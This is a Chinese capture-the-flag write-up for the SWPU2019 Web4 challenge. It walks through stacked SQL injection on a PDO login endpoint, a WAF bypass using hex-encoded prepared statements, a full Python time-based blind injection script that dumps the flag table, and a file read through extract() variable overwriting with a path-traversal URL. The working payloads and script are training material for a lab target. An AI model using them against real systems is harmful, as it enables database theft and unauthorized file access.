[SWPU2019]Web4
考点:PDO场景下的堆叠注入、时间盲注
打开题目叫你登录,不过任凭你怎么登录都会没有反应,注册说“未开放注册功能”
回头一抓包,发现我们向 /index.php?r=Login/Login
发送了一个数据包,这里可以注入,POST输入:
1
| {"username":"1'","password":"123"}
|
页面会报错,但是我们输入:
1
| {"username":"1';","password":"123"}
|
页面却没报错,同时说密码错误;
那么说明这道题可以堆叠注入。
尝试 1';show databases;
之类的操作,一直显示密码错误,猜测可能关键字被waf了,因为是堆叠,我们可以参考新春战疫的一道堆叠注入(当时也是PDO),使用预编译+16进制编码绕过waf。
而且页面不会根据我们输入情况回显不同,那么就用时间盲注;
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| # by wh1sper # 时间盲注 import requests import time host = 'http://fe683617-4ef1-4c6a-8332-febe7058c07e.node3.buuoj.cn/index.php?r=Login/Login' def mid(bot, top): return (int)(0.5 * (top + bot)) def char_to_hex(str): res = '' for i in str: res += hex(ord(i)) res = '0x' + res.replace('0x', '') return res def sqli(): name = '' for j in range(1, 250): top = 126 bot = 32 while 1: #babyselect = 'database()'#--->ctf #babyselect = '(select group_concat(table_name) ' \ # 'from information_schema.tables where table_schema=database())'#---flag # babyselect = '(select group_concat(column_name) ' \ # 'from information_schema.columns where table_name='flag')'#--->flag babyselect = '(select flag from flag)'#--->glzjin_wants_a_girl_friend.zip select = "select if((ascii(substr(" +babyselect+ ",{},1))> {}),sleep(3),1);"\ .format(j, mid(bot, top)) playload = "1';set @a="+ char_to_hex(select) +";PREPARE test from @a;execute test;" data = { "username": playload, "password": "1" } print(mid(bot, top)) start_time = time.time() r = requests.post(url=host, json=data) end_tmie = time.time() #print(r.text) if end_tmie - start_time > 1.5: # 成功 if top - 1 == bot: # top和bot相邻,说明name是top name += chr(top) print(name) break bot = mid(bot, top) # 成功就上移bot else: # 失败 if top - 1 == bot: # top和bot相邻,加上失败,说明name是bot name += chr(bot) print(name) break top = mid(bot, top) # 失败就下移top if __name__ == '__main__': sqli()
|
得到:glzjin_wants_a_girl_friend.zip
然后看的出来是个文件,访问下载之,得到网站源码。 很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。
这是个MVC模型,首先了解一下该框架下url的解析过程:
- 从r参数中获取要访问的
Controller
以及 Action
,然后以 /
分隔开后拼接成完整的控制器名。 以 Login/Index
为例,就是将 Login/Index
分隔开分别拼接成 LoginController
以及 actionIndex
,然后调用 LoginController
这个类中的 actionIndex
方法。每个 action
里面会调用对应的 loadView()
方法进行模版渲染,然后将页面返回给客户端。 若访问的 Controller
不存在则默认解析 Login/Index
。
这样我们就应该先来审计控制器的代码。
不难发现,在BaseController中有着这么一段明显有问题的代码
1 2 3 4 5 6 7 8 9
| public function loadView($viewName ='', $viewData = []) { $this->viewPath = BASE_PATH . "/View/{$viewName}.php"; if(file_exists($this->viewPath)) { extract($viewData); include $this->viewPath; } }
|
这段代码中使用了 extract()
,以及包含了 /View/{$viewName}.php
,也就是说我们能通过 $viewName
和 $viewData
这两个变量来更改 /View
下任何一个php文件的任何一个变量的值。
在UserController中找到了以下代码:
1 2 3 4 5
| public function actionIndex() { $listData = $_REQUEST; $this->loadView('userIndex',$listData); }
|
可以看出来,其中 $listData
是从请求中获取,用户可控,而其对应的 /View/userIndex.php
中存在一个文件读取:
1 2 3 4 5 6 7 8
| <div class="fakeimg"><?php if(!isset($img_file)) { $img_file = '/../favicon.ico'; } $img_dir = dirname(__FILE__) . $img_file; $img_base64 = imgToBase64($img_dir); echo '<img src="' . $img_base64 . '">'; //图片形式展示 ?></div>
|
其中 imgToBase64()
实现的是将目标文件转化成base64格式。而我们只需要将 $img_file
改成 /flag.php
即可。
访问 http://ip/index.php?r=User/Index&img_file=/../flag.php
即可获得flag的base64
flag{51ca227a-c6d5-4515-bed7-abdea8385e8a}
参考链接:
https://blog.wh1sper.com/posts/swpu2019-%E5%A4%8D%E7%8E%B0/
Author:
odiws
Permalink:
http://odiws.github.io/2024/09/06/SWPU2019-Web4/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?